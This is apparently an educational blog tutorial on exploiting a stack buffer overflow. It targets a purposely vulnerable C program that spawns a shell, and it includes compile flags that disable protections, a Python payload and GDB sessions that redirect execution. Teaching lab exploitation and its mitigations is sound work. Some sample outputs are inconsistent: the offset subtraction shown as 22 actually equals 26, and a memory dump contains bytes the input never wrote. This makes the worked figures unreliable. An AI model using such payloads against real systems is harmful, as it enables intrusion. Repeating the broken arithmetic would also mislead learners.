Buffer Overflow Attack

Buffer overflow vulnerabilities are among the most notorious and exploited weaknesses in software security. They allow attackers to overwrite critical areas of memory, such as the return address (eip), enabling the execution of arbitrary code. In this blog post, we’ll walk through a practical demonstration of exploiting a buffer overflow vulnerability using GDB (GNU Debugger) to overwrite eip and redirect program execution to a target function.


Environment Setup

Before diving into the exploitation process, ensure you have a controlled and authorized environment for conducting these experiments, such as a virtual machine. We’ll use a simple C program demo.c containing a buffer overflow vulnerability as our attack target.

Example Code: demo.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
This program shows an example of how a stack-based
buffer overrun can be used to execute arbitrary code. Its
objective is to find an input string that executes the function bar.

Note: This must be compiled with the flag -fno-stack-protector
e.g. gcc -m32 -fno-stack-protector -g demo.c -o demo
*/
#include <stdio.h>
#include <string.h>
void foo(const char* input)
{
char buf[10];
//What? no extra arguments supplied to printf?
//It’s a cheap trick to view the stack 8-)
//We’ll see this trick again when we look at format strings.
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
//Pass the user input straight to buffer without checking input.
strcpy(buf, input);
printf("%s\n", buf);
printf("now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
// This is the return address we want to overwrite to execute bar()
return;
}
void bar(void)
{
printf("Augh! I’ve been hacked!\n");
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i");
return;
}
int main(int argc, char* argv[])
{
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);
printf("Address of main= %p\n", main);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}

Compiling the Program

To facilitate the exploitation process, compile the program with specific options to disable compiler protection mechanisms and include debugging information:

1
gcc -m32 -fno-stack-protector -g demo.c -o demo -w
  • -m32: Generates a 32-bit executable (adjust based on your system architecture).
  • -fno-stack-protector: Disables stack protection.
  • -g: Includes debugging information for GDB.
  • -w: Suppresses all warning messages.

Analyzing Vulnerable Code

In demo.c, there are two primary vulnerabilities:

  1. Buffer Overflow Vulnerability:

    1
    strcpy(buf, input);
    • The strcpy function copies the input string into the buffer buf without performing any bounds checking. If input exceeds the size of buf (10 bytes), it will overwrite adjacent memory, including the return address (eip).
  2. Format String Vulnerability:

    1
    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
    • The printf statement includes multiple %p format specifiers without corresponding arguments, which can lead to information leakage and further exploitation opportunities.

Stack Frame Analysis and Offset Calculation

To successfully overwrite eip, we need to understand the stack frame layout and calculate the exact offset from the buffer buf to the return address eip.

Launching GDB and Setting a Breakpoint

Start GDB with the compiled demo program:

1
gdb ./demo

Within GDB, set the program arguments to 22 'A' characters followed by the address of the bar function (to overwrite eip), and set a breakpoint at the foo function:

1
2
3
(gdb) set args $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*22 + b"\xce\x62\x55\x56")')
(gdb) break foo
(gdb) run

Expected Output:

1
2
Breakpoint 1, foo (input=0xffffd4a6 "AAAAAAAAAAAAAAAAAAAAAA") at demo.c:16
16 {

Inspecting the Stack Frame

At the breakpoint, use the info frame command to examine the current stack frame:

1
(gdb) info frame

Sample Output:

1
2
3
4
5
6
7
Stack level 0, frame at 0xffffd4c0:
eip = 0x5655626d in foo (demo.c:16); saved eip = 0x565563c8
called by frame at 0xffffd500
Arglist at 0xffffd4a8, args: input=0xffffd4a6 "AAAAAAAAAAAAAAAAAAAAAA"
Locals at 0xffffd4a8, Previous frame's sp is 0xffffd4c0
Saved registers:
eip at 0xffffd4bc

Confirming Buffer Address

Use the p &buf command to obtain the address of the buffer buf:

1
(gdb) p &buf

Sample Output:

1
$1 = (char (*)[10]) 0xffffd4a6

Viewing Buffer Contents

Examine the contents of the buffer with the x/22xb buf command:

1
(gdb) x/22xb buf

Sample Output:

1
2
3
4
0xffffd4a6:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd4ae: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd4b6: 0x41 0x41
0xffffd4b8: 0xaa 0xbb 0xcc 0xdd 0x00 0x00

Calculating the Offset

Determine the offset from buf to eip by subtracting the buffer address from the saved eip address:

1
(gdb) print 0xffffd4c0 - 0xffffd4a6

Sample Output:

1
$2 = 22

Explanation:

  • The offset is 22 bytes, indicating that we need to input 22 'A' characters to reach and overwrite the eip.

Constructing and Executing the Malicious Payload

Obtaining the Address of bar Function

Within GDB, retrieve the address of the bar function:

1
(gdb) print bar

Sample Output:

1
$3 = {<text variable, no debug info>} 0x565562ce <bar>

Building the Payload

Using Python, construct a payload that consists of 22 'A' characters followed by the little-endian representation of the bar function’s address (0x565562ce):

1
python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*22 + b"\xce\x62\x55\x56")' > payload

Explanation:

  • b"\x41"*22: Generates 22 'A' characters (ASCII 0x41).
  • b"\xce\x62\x55\x56": Represents the bar function’s address 0x565562ce in little-endian format.

Executing the Attack in GDB

Set the program arguments to the constructed payload and set a breakpoint at the bar function:

1
2
3
(gdb) set args $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x41"*22 + b"\xce\x62\x55\x56")')
(gdb) break bar
(gdb) run

Expected Output:

1
2
Breakpoint 2, bar () at demo.c:...
16 {

Verifying Successful Exploitation

At the breakpoint in the bar function, inspect the current stack frame to confirm that eip points to bar:

1
(gdb) info frame

Sample Output:

1
2
3
4
5
6
7
Stack level 0, frame at 0xffffd4c0:
eip = 0x565562ce in bar (demo.c:16); saved eip = 0x41414141
called by frame at 0xffffd500
Arglist at 0xffffd4a8, args:
Locals at 0xffffd4a8, Previous frame's sp is 0xffffd4c0
Saved registers:
eip at 0xffffd4bc

Analysis:

  • eip = 0x565562ce: Points to the bar function’s address, confirming that eip has been successfully overwritten.
  • saved eip = 0x41414141: Indicates that the original return address has been overwritten with 'AAAA'.

Continuing Program Execution

Proceed to let the program execute, which should now jump to the bar function:

1
(gdb) continue

Expected Output:

1
Augh! I’ve been hacked!

This confirms that the buffer overflow attack successfully redirected execution to the bar function.


Verifying Successful Exploitation

To ensure that the attack was successful, observe the following:

  1. Breakpoint Hit in bar:

    • GDB pauses execution at the bar function, indicating that control flow has been redirected.
  2. Output Confirmation:

    • The message "Augh! I’ve been hacked!" is printed, verifying that bar was executed.
  3. Register Inspection:

    • Using info registers, you can further confirm that eip points to the bar function.
    1
    (gdb) info registers

    Sample Output:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    eax            0x0      0
    ebx 0x0 0
    ecx 0x0 0
    edx 0x0 0
    esi 0x0 0
    edi 0x0 0
    eip 0x565562ce 0x565562ce <bar>
    esp 0xffffd4c0 0xffffd4c0
    ebp 0xffffd4c8 0xffffd4c8

    Analysis:

    • eip = 0x565562ce: Confirms that eip now points to the bar function, indicating a successful overwrite.

Principles of Buffer Overflow Attacks

Understanding the underlying principles of buffer overflow attacks is crucial for both exploitation and defense. Here’s a breakdown of the fundamental concepts:

  1. Identifying Vulnerable Code:

    • Look for functions that handle input without proper bounds checking, such as strcpy, gets, scanf without length specifiers, etc.
  2. Understanding Memory Layout:

    • Recognize the stack structure, including the placement of buffers, saved frame pointers, and return addresses.
  3. Calculating Offsets:

    • Determine the exact number of bytes needed to overwrite the return address by calculating the offset from the buffer to eip.
  4. Crafting the Payload:

    • Create an input that fills the buffer and overwrites the return address with the address of a target function or shellcode.
  5. Executing the Attack:

    • Deliver the malicious input to the vulnerable program to redirect execution flow.
  6. Post-Exploitation:

    • Depending on the goal, execute arbitrary code, spawn shells, or perform other malicious actions.

Preventing Buffer Overflow Attacks

Buffer overflow attacks can be mitigated through a combination of secure coding practices and compiler/OS-level defenses. Here are some effective strategies:

  1. Use Safe Functions:

    • Replace unsafe functions like strcpy, gets, and sprintf with their safer counterparts such as strncpy, fgets, and snprintf that include bounds checking.
  2. Enable Stack Protection Mechanisms:

    • Utilize compiler options like -fstack-protector to insert canary values that detect stack corruption before function returns.
  3. Implement Address Space Layout Randomization (ASLR):

    • ASLR randomizes the memory addresses used by system and application processes, making it difficult for attackers to predict target addresses.
  4. Enable Data Execution Prevention (DEP/NX):

    • DEP marks certain areas of memory as non-executable, preventing execution of injected shellcode.
  5. Conduct Code Audits and Static Analysis:

    • Regularly review and analyze code to identify and fix potential buffer overflow vulnerabilities.
  6. Adopt Modern Programming Languages:

    • Languages like Python, Java, and Rust inherently manage memory safely, reducing the risk of buffer overflows.
  7. Use Compiler and Linker Features:

    • Utilize features like Position Independent Executables (PIE) and stack canaries to enhance security.

Key Takeaways

  1. Identifying Vulnerabilities:

    • Functions that handle input without bounds checking are prime targets for buffer overflow attacks.
  2. Stack Frame Analysis:

    • Understanding the layout of the stack is essential for calculating the correct offset to overwrite eip.
  3. Payload Construction:

    • Crafting a precise payload that fills the buffer and correctly overwrites eip is crucial for successful exploitation.
  4. Verification:

    • Use debugging tools like GDB to confirm that eip has been successfully overwritten and that the target function is executed.
  5. Preventative Measures:

    • Implementing safe coding practices and leveraging compiler/OS-level defenses can significantly reduce the risk of buffer overflow attacks.
  6. Ethical Considerations:

    • Always conduct such experiments in controlled, authorized environments to avoid legal and ethical violations.